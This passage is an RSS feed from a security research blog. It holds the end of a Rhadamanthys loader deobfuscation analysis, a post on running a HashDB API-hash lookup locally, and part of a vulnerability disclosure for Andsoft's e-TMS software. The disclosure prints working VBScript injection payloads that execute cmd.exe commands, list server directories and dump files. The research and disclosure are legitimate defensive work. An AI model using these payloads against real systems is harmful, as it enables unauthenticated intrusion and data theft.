    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0-9&lt;/td&gt;
      &lt;td&gt;52-61&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!?#$%&amp;amp;()*+-,/:;&amp;lt;&amp;gt;=@[\]^`{\|}~\n&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;62-90&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos; &apos;&lt;/code&gt; + A-Z / a-z&lt;/td&gt;
      &lt;td&gt;91-142&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;.&apos;&lt;/code&gt; + A-Z / a-z / 0-9&lt;/td&gt;
      &lt;td&gt;143-204&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;_&apos;&lt;/code&gt; + A-Z&lt;/td&gt;
      &lt;td&gt;205-230&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;_&apos;&lt;/code&gt; + a-z&lt;/td&gt;
      &lt;td&gt;231-255 + 0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;If you’re wondering what the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+ 0&lt;/code&gt; is supposed to mean: 0 is encoded by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A&lt;/code&gt; as well as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_z&lt;/code&gt;.
The malware doesn’t actually make use of this overflow “feature”, though.&lt;/p&gt;

&lt;p&gt;While the first three ranges are reminiscent of Base64, the algorithm is completely different from base encodings.
Up until 90, it makes use of a lookup consisting of special characters.
For the rest up until 255, there’s a two-letter encoding scheme with a special prefix character that influences the output range.&lt;/p&gt;

&lt;p&gt;I later found a &lt;a href=&quot;https://medium.com/@coormac/rhadamanthys-stealer-malware-analysis-part-two-04b8747c6498&quot;&gt;post by Cormac Conlon&lt;/a&gt; stating that the .NET-based variant of the loader also uses this algorithm, where it’s called &lt;em&gt;Flutter&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Note that in addition to this, the payload is also encrypted using a somewhat obscure Chinese block cipher called &lt;a href=&quot;https://en.wikipedia.org/wiki/SM4_(cipher)&quot;&gt;SM4&lt;/a&gt;.
The tables/constants required by the algorithm (S-Box, &lt;em&gt;FK&lt;/em&gt;, &lt;em&gt;CK&lt;/em&gt;) are obscured in function 0x405E50; they’re only loaded temporarily when needed.&lt;/p&gt;

&lt;h1 id=&quot;outro&quot;&gt;Outro&lt;/h1&gt;

&lt;p&gt;The Rhadamanthys operation has seen a &lt;a href=&quot;https://www.europol.europa.eu/media-press/newsroom/news/end-of-game-for-cybercrime-infrastructure-1025-servers-taken-down&quot;&gt;disruption&lt;/a&gt; by Operation Endgame earlier this month.
It remains to be seen if/how quickly they recover.
A lot of data stolen by the stealer was also recovered by law enforcement and provided to &lt;a href=&quot;https://haveibeenpwned.com/breach/OperationEndgame3&quot;&gt;Have I Been Pwned&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Our tooling that we developed as part of this research is available on &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/rhadamanthys-loader-deobfuscator&quot;&gt;GitHub&lt;/a&gt;.
Perhaps it will prove useful in the future if the same obfuscator is used for other malware, or if a very similar one pops up to which the code can be adapted.
Other than that, we hope the code can serve as a learning resource for how to implement a fast static deobfuscator utilizing the Capstone disassembly library.&lt;/p&gt;
</description>
        <pubDate>Wed, 19 Nov 2025 10:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/11/19/rhadamanthys-loader-deobfuscation/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/11/19/rhadamanthys-loader-deobfuscation/</guid>
        
        <category>malware</category>
        
        <category>deobfuscation</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Running your own HashDB lookup</title>
        <description>&lt;h1 id=&quot;whats-all-the-fuss-about&quot;&gt;What’s all the fuss about?&lt;/h1&gt;
&lt;p&gt;Imagine you are just starting the analysis of your next sample and stumble across some logic that seems like the implementation of &lt;a href=&quot;https://attack.mitre.org/techniques/T1027/007/&quot;&gt;API hashing&lt;/a&gt;.
But it doesn’t worry you, because you just heard about this tool that is able to automagically resolve the hashes to the original API strings.
Your lord and savior: &lt;a href=&quot;https://github.com/OALabs/hashdb&quot;&gt;HashDB&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But what if you don’t want to depend on some service provider because you are working with confidential files or an unpublished malware?
How can you be sure the service provider will not at some point in time be interested in your analysis behavior?
Or, most importantly, what if you just cannot reach the internet from your analysis system?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No worries, we got you!&lt;/strong&gt;&lt;/p&gt;

&lt;h1 id=&quot;run-hashdb-locally&quot;&gt;Run HashDB locally&lt;/h1&gt;
&lt;p&gt;To solve the problems above (and more) we created the HashDB database for local lookups.
Our implementation can be found on &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local&quot;&gt;GitHub&lt;/a&gt; and consists of three components:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb.py&quot;&gt;IDA plugin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/tree/main/hashdb_builder&quot;&gt;HashDB database&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/tree/main/hashdb_hook&quot;&gt;HashDB hook&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In the following, we will explain the functionality / benefits of each component.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Download the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/releases&quot;&gt;latest release&lt;/a&gt; and unzip it in your IDA plugins directory - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%PROGRAMFILES%/IDA/plugins/&lt;/code&gt; usually (contains a prebuilt lookup database, have a look at &lt;a href=&quot;./hashdb_builder/README.md&quot;&gt;HashDB builder&lt;/a&gt; on how to build your own)&lt;/li&gt;
  &lt;li&gt;Create the directory &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%LOCALAPPDATA%/hashdb/&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Move the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hashdb.sqlite3&lt;/code&gt; to the location &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%LOCALAPPDATA%/hashdb/&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Done&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;ida-plugin&quot;&gt;IDA plugin&lt;/h2&gt;
&lt;p&gt;The plugin is a fork of the &lt;a href=&quot;https://github.com/OALabs/hashdb-ida&quot;&gt;original implementation made by OALabs&lt;/a&gt;.
For an exhaustive explanation look at the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/README.md&quot;&gt;README&lt;/a&gt;.
In short the plugin is able to find the hash algorithm in use, use a static xor value, create an enum to replace hash constants with its API name and more.&lt;/p&gt;

&lt;p&gt;Originally the plugin used the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requests&lt;/code&gt; module to communicate with the remote HashDB lookup service.
Therefore we had to make some changes here.
We wanted to change the original code as little as possible because of forward compatibility.
The most straight-forward solution was to implement our own “requests” methods that can be used as replacement in the plugin.
The logic is implemented in our hook.
To make sure the plugin gets adapted accordingly, we created a &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/local.patch&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;patch&lt;/code&gt; file&lt;/a&gt; that can be used to simply replace the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requests&lt;/code&gt; import with our own implementation.&lt;/p&gt;

&lt;h2 id=&quot;local-hashdb-database&quot;&gt;Local HashDB database&lt;/h2&gt;
&lt;p&gt;The core component of the local HashDB implementation is the database with all needed information to make local hash lookups.
This database is filled with information from three sources:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Hash algorithm implementations&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/functions_with_forwards.sqlite3&quot;&gt;SQLite database&lt;/a&gt; with information about relevant Windows APIs and module namens&lt;/li&gt;
  &lt;li&gt;A &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/strings.txt&quot;&gt;file&lt;/a&gt; with strings that should be added to the lookup database&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;hash-algorithms&quot;&gt;Hash algorithms&lt;/h3&gt;
&lt;p&gt;To be able to fill the database with the needed string to hash mappings, we need the implementation of all algorithms used for API hashing (or at least, as many as possible).
Luckily, there is a &lt;a href=&quot;https://github.com/OALabs/hashdb&quot;&gt;public repo by OALabs&lt;/a&gt;, that contains plenty of them.
If you want to add your own algorithms you can always do so by adding the implementation of it in the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/tree/main/hashdb_builder/algorithms/&quot;&gt;algorithms folder&lt;/a&gt;.
The implementation has to be in the following form:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;DESCRIPTION&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;your hash description here&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;EXTENDED_PERMUTATION&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# set on true only if extended permutations is needed
# Type can be either &apos;unsigned_int&apos; (32bit) or &apos;unsigned_long&apos; (64bit)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TYPE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;unsigned_int&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Test must match the exact hash of the string &apos;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&apos;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TEST_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hash_of_string_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# your implementation here
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Also if you add a new algorithm to your local database and it’s not top secret: Make sure to add it to &lt;a href=&quot;https://github.com/OALabs/hashdb&quot;&gt;OALabs repo&lt;/a&gt; as well to help the community!&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;database-of-windows-apis--modules-and-list-of-strings&quot;&gt;Database of Windows APIs / modules and list of strings&lt;/h3&gt;
&lt;p&gt;Furthermore we added a &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/functions_with_forwards.sqlite3&quot;&gt;database&lt;/a&gt; with relevant Windows modules and APIs. Additionally a &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/strings.txt&quot;&gt;strings file&lt;/a&gt; is used to add custom strings to the HashDB lookup database.
You can use both files to add information that you want HashDB to be able to lookup.
This is easy for random strings that you have found hashed in your samples: Just put them into the strings file.
If you want to add a module that is not already in the prepared you can use the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/make_function_db.py&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make_function_db.py&lt;/code&gt; script&lt;/a&gt;.
To use it you have to follow these two steps:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &amp;lt;fancy_name&amp;gt;
python ./make_function_db.py &amp;lt;fancy_name&amp;gt; ./functions_with_forwards.sqlite3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After you have prepared these two files with all the information you want to be able to look up (or just leave the files as they are - this should be enough for most use cases), you are now ready to build the main lookup database.&lt;/p&gt;

&lt;h3 id=&quot;main-database-for-the-local-hashdb-lookup&quot;&gt;Main database for the local HashDB lookup&lt;/h3&gt;
&lt;p&gt;Both of the mentioned files (API database and strings file) are used in the process of database creation (i.e., running the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/hashdb_builder.py&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hashdb_builder.py&lt;/code&gt; script&lt;/a&gt;) to populate the HashDB lookup database.
The script builds a database containing all given modules, APIs, strings, and permutations and calculates hashes for all combinations of APIs / strings and permutations.
This database will be the source for lookups done by the hook described below.&lt;/p&gt;

&lt;h2 id=&quot;hook&quot;&gt;Hook&lt;/h2&gt;
&lt;p&gt;The hook is used to connect the IDA plugin with our local HashDB database. As mentioned above, in order to keep the plugin mostly unchanged, we had to implement the needed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requests&lt;/code&gt; methods (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post&lt;/code&gt;) to run queries on the local database.
The remote HashDB lookup service provides &lt;a href=&quot;https://hashdb.openanalysis.net/&quot;&gt;API functions&lt;/a&gt; to query their database for specific information.
We implemented some of the endpoints in the hook to query our local lookup database.&lt;/p&gt;

&lt;p&gt;We implemented four endpoints in the hooking logic to use the lookup database:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /hash&lt;/code&gt;: Used to list all available hash algorithms in the database&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /hash/&amp;lt;algorithm&amp;gt;/&amp;lt;hash&amp;gt;&lt;/code&gt;: Get the corresponding API string for the given algorithm + hash combination&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /module/&amp;lt;module&amp;gt;/&amp;lt;permutation&amp;gt;&lt;/code&gt;: Get a list of API string hashes for a module and algorithm using a specific permutation&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST /hunt&lt;/code&gt;: Hunt for the right hash algorithm (i.e., search for the hash in the database and return the corresponding algorithm)&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;With the provided adaptation of the IDA plugin and the implementation of a local HashDB lookup using a custom database, you are able to leverage the full potential of HashDB without the cons of using a remote service provider.
Additionally you can add any hashed strings from your analysis to the lookup database so that you are able to adapt it to your needs in the most flexible way.&lt;/p&gt;

&lt;p&gt;Have fun :)&lt;/p&gt;
</description>
        <pubDate>Tue, 30 Sep 2025 08:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/09/30/on-premise-hashdb-lookup/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/09/30/on-premise-hashdb-lookup/</guid>
        
        <category>hashdb</category>
        
        <category>api-hashing</category>
        
        <category>malware</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>I Know What You Shipped Last Summer - RCE, SQLi and More in Logistics Software e-TMS</title>
        <description>&lt;p&gt;During an external penetration test for one of our clients we stumbled upon their &lt;a href=&quot;https://andsoft.com/en/solucio-1/menu-1/characteristics.html&quot;&gt;e-TMS&lt;/a&gt; instance. e-TMS is a transportation management software developed by Andsoft with a lot of features such as management of transport orders, transport organization, tracking, invoicing and many more. We found several critical vulnerabilities such as multiple remote code executions, sql injections (paired with md5 hashed passwords…), a file read and reflected cross-site scripting - all unauthenticated! In fact, we did not test the authenticated part of e-TMS.
According to &lt;a href=&quot;https://web.archive.org/web/20240910013411/https://andsoft.com/customers/projects&quot;&gt;Andsoft’s website&lt;/a&gt;, it is used by many large companies in the logistics sector, the largest of which has up to 41,000 employees and a revenue of 8.2 billion euros. During the penetration test, we identified 42 publicly exposed e-TMS instances, all susceptible to the discovered vulnerabilities.&lt;/p&gt;

&lt;h2 id=&quot;overview-of-the-cves&quot;&gt;Overview of the CVEs&lt;/h2&gt;
&lt;p&gt;While we requested only one CVE for each vulnerability type (=5 in total), the Spanish CNA INCIBE insisted on issuing one CVE for each occurrence of a vulnerability, resulting in a total of &lt;strong&gt;40 CVEs&lt;/strong&gt;.
The vulnerabilities were found in v15.12 of e-TMS, and the client confirmed that their other instance with v25.03 (the latest as of January 2025) was also vulnerable to them.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;CVE Number&lt;/th&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Severity&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59735&quot;&gt;CVE-2025-59735&lt;/a&gt; - &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59741&quot;&gt;CVE-2025-59741&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Unauthenticated Remote Code Execution&lt;/td&gt;
      &lt;td&gt;Critical&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59742&quot;&gt;CVE-2025-59742&lt;/a&gt; - &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59743&quot;&gt;CVE-2025-59743&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Unauthenticated SQL Injection&lt;/td&gt;
      &lt;td&gt;Critical&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59744&quot;&gt;CVE-2025-59744&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Unauthenticated File Read&lt;/td&gt;
      &lt;td&gt;High&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59746&quot;&gt;CVE-2025-59746&lt;/a&gt; - &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59746&quot;&gt;CVE-2025-59774&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Reflected Cross-Site Scripting&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59745&quot;&gt;CVE-2025-59745&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Insecure Password Hashing (md5)&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The advisory of INCIBE can be seen &lt;a href=&quot;https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-andsofts-e-tms&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;remediation&quot;&gt;Remediation&lt;/h2&gt;

&lt;h3 id=&quot;update-240925&quot;&gt;UPDATE (24.09.25)&lt;/h3&gt;

&lt;p&gt;Andsoft reached out to us and provided the following information:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The patches &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VNL 25001&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VNL 25010&lt;/code&gt; were released in January 2025 and addressed some of the stated security vulnerabilities&lt;/li&gt;
  &lt;li&gt;As of e-TMS Version &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v25.04&lt;/code&gt; - released in April 2025, all stated security vulnerabilities have been fully resolved&lt;/li&gt;
  &lt;li&gt;Annual penetration tests are performed to ensure e-TMS’ security&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;initial&quot;&gt;Initial&lt;/h3&gt;

&lt;p&gt;The critical vulnerabilities have been fixed by Andsoft in our clients’ instances. However, we have no information whether Andsoft has fixed them in the other clients’ instances, nor if there is an official version in which they have been fixed.
In fact, the other vulnerabilities (&lt;a href=&quot;#unauthenticated-file-read&quot;&gt;Unauthenticated File Read&lt;/a&gt;, &lt;a href=&quot;#reflected-cross-site-scripting&quot;&gt;Reflected Cross-Site Scripting&lt;/a&gt;, &lt;a href=&quot;#insecure-password-hashing-md5&quot;&gt;Insecure Password Hashing&lt;/a&gt;) have still not been fixed in our clients’ instances as of 05.03.2025.
Andsoft has not responded to our emails or to the Spanish national CNA INCIBE.&lt;/p&gt;

&lt;p&gt;We have only examined the unauthenticated part of e-TMS. However, a quick look at the source code of the authenticated pages indicated that the situation there was even worse. It should therefore be carefully checked who has access to e-TMS and accounts that are no longer required should be removed. Furthermore, all users should be encouraged to set a strong and unique password so that attackers cannot gain access to the authenticated part via weak passwords.&lt;/p&gt;

&lt;p&gt;Ideally, e-TMS should not be publicly accessible on the internet in order to reduce the attack surface until the serious vulnerabilities in the authenticated and, above all, unauthenticated part of e-TMS have been eliminated.&lt;/p&gt;

&lt;figure id=&quot;tuhbattons&quot; class=&quot;figure-posts&quot; style=&quot;width: 35%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-tuhbattons.jpg&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-tuhbattons.jpg&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-tuhbattons.jpg&quot; alt=&quot;meme either to fix vulns or to not respond&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-tuhbattons.jpg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-tuhbattons.jpg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-tuhbattons.jpg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 01: To fix and cooperate or not to fix and cooperate, that is the question&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h2 id=&quot;cves-in-detail&quot;&gt;CVEs in Detail&lt;/h2&gt;

&lt;h3 id=&quot;unauthenticated-remote-code-execution&quot;&gt;Unauthenticated Remote Code Execution&lt;/h3&gt;
&lt;p&gt;One of the scanners we used (&lt;a href=&quot;https://github.com/hahwul/dalfox&quot;&gt;Dalfox&lt;/a&gt;) reported an XSS vulnerability (see &lt;a href=&quot;#reflected-cross-site-scripting&quot;&gt;Reflected Cross-Site Scripting&lt;/a&gt;) in the login page &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/loginfrm.asp&lt;/code&gt;. While inspecting the vulnerable body parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M&lt;/code&gt;, we noticed an interesting error message if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M&lt;/code&gt; contained, for example, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;figure id=&quot;etms-rce1&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce1.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce1.png&quot; alt=&quot;vb script error message&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 02: VB Script error message.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Even without any knowledge of French, we could clearly see that it was a Microsoft Visual Basic script error message stating that a string was not closed properly. This was already a good indicator that we had an unauthenticated remote code execution. Exploiting it required a bit of tinkering, as we are not that familiar with classic ASP and VB Script, as both are legacy and long deprecated.&lt;/p&gt;

&lt;p&gt;Eventually, we came up with the payload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1 &amp;amp; Execute(&quot;Set shell=CreateObject(&quot;&quot;WScript.Shell&quot;&quot;):Set exec=shell.Exec(&quot;&quot;cmd.exe /c whoami &amp;amp; cd &amp;amp; hostname&quot;&quot;):Response.Write(exec.StdOut.ReadAll)&quot;)&lt;/code&gt; which allowed us to execute arbitrary commands and write their output to the response.&lt;/p&gt;

&lt;figure id=&quot;etms-rce2&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce2.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce2.png&quot; alt=&quot;exploiting the rce&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 03: Exploiting the RCE.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Further, we have created payloads to&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;list all subdirectories in a directory &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1 &amp;amp; Execute(&quot;Sub ListSubfolders(folderPath):Set fso=CreateObject(&quot;&quot;Scripting.FileSystemObject&quot;&quot;):Set folder=fso.GetFolder(folderPath):For Each subFolder In folder.SubFolders:Response.Write(subFolder.Path &amp;amp; &quot;&quot;&amp;lt;br&amp;gt;&quot;&quot;):Response.Flush:Next:End Sub:ListSubfolders &quot;&quot;\\x.x.x.x\Inetpub\ANDSYS_WIN\&quot;&quot;&quot;)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;dump all files in a directory &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1 &amp;amp; Execute(&quot;Set fso=CreateObject(&quot;&quot;Scripting.FileSystemObject&quot;&quot;):Set folder=fso.GetFolder(&quot;&quot;\\x.x.x.x\Inetpub\ANDSYS_WIN\clt\&quot;&quot;):For Each file In folder.Files: Set f=fso.OpenTextFile(file.Path,1):Response.Write(file.Name &amp;amp; &quot;&quot;&amp;lt;br&amp;gt;&quot;&quot; &amp;amp; f.ReadAll &amp;amp; &quot;&quot;&amp;lt;hr&amp;gt;&quot;&quot;):f.Close:Response.Flush:Next&quot;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

